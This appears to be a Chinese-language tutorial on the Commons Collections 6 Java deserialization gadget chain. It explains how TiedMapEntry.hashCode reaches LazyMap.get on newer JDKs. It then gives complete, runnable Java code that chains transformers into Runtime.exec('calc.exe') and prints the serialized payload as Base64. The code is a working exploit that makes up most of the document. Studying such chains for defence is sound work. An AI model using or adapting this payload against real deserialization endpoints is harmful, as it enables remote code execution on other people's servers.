为什么cc1有jdk版本限制
JDK中的AnnotationInvocationHandler的readObject更新了,所以cc1用不了
但是前面的部分还是存在的,只要我们找到一个新的入口就还是能执行命令
这里回到LazyMap,LazyMap的get方法可以触发后续的rce
所以我们需要寻找新版本JDK中触发LazyMap中get方法的类
TideMapEntry
锵锵,上面说到的那个类就是TideMapEntry
TideMapEntry部分源码:
此时我们需要触发其hashcode方法
好熟悉啊,这不是DNSLog那条链吗?
从hash到hashcode()
但是HashMap的put方法会提前调用hash方法,导致提前走完流程
这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。
LazyMap的前提条件
这里我们先回到LazyMap的get方法,要containsKey(key)==false才会触发
在第一次随便传值(为了抵消hashmap触发的put)的时候就已经触发下面的put传值,反序列化时候就不会进入这个if判断了
所以我们需要执行lazymap.remove("2");把序列化时加入的值去掉
所以操作就是装入hashmap
去掉lazymap的key值,之后反射修改LazyMap中的payload
代码
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
System.out.println("[+]构造Transformer数组的第一个参数ConstantTransformer\n 在transform时将会返回Runtime类A");
ConstantTransformer a=new ConstantTransformer(Runtime.class);
System.out.println("[+]构造Transformer数组的第二个参数InvokerTransformer\n 在transform时将会通过A.getMethod(\"getRuntime\")返回getRuntime方法类B");
InvokerTransformer b=new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]});
System.out.println("[+]构造Transformer数组的第三个参数InvokerTransformer\n 在transform时将会通过B.invoke(C)执行getRuntime方法,返回runtime对象");
InvokerTransformer c =new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[] {null, new Object[0]});
System.out.println("[+]构造Transformer数组的第四个参数InvokerTransformer\n 在transform时将会通过D.exec(\"calc.exe\")执行命令");
InvokerTransformer d=new InvokerTransformer("exec",
new Class[]{String.class},
new Object[] {"calc.exe"});
Transformer[] transformers = new Transformer[]{a, b, c, d};
System.out.println("[+]使用ChainedTransformer将该数组链接起来\n 执行ChainedTransformer.transform将会执行上述链条");
Transformer transformerChain = new ChainedTransformer(transformers);
// 创建Map并绑定transformerChain
System.out.println("[+]创建LazyMap\n LazyMap的get方法会执行上述链条\n 随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象");
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
System.out.println("[+]创建TideMapEntry装入HashMap\n 调用创建TideMapEntry的hashcode会执行上述链条\n hashcode()->getvalue()->LazyMap的get");
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");
System.out.println("[+]调整lazymap");
lazymap.remove("2");
System.out.println("[+]put完成,通过反射修改回ChainedTransformer对象");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, transformerChain);
System.out.println("\n[+]序列化");
ByteArrayOutputStream serialize = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(serialize);
oos.writeObject(hashMap);
oos.close();
System.out.println(" "+ Base64.getEncoder().encodeToString(serialize.toByteArray()));
System.out.println("[+]反序列化触发");
ObjectInputStream unserialize = new ObjectInputStream(new ByteArrayInputStream(serialize.toByteArray()));
unserialize.readObject();
}
}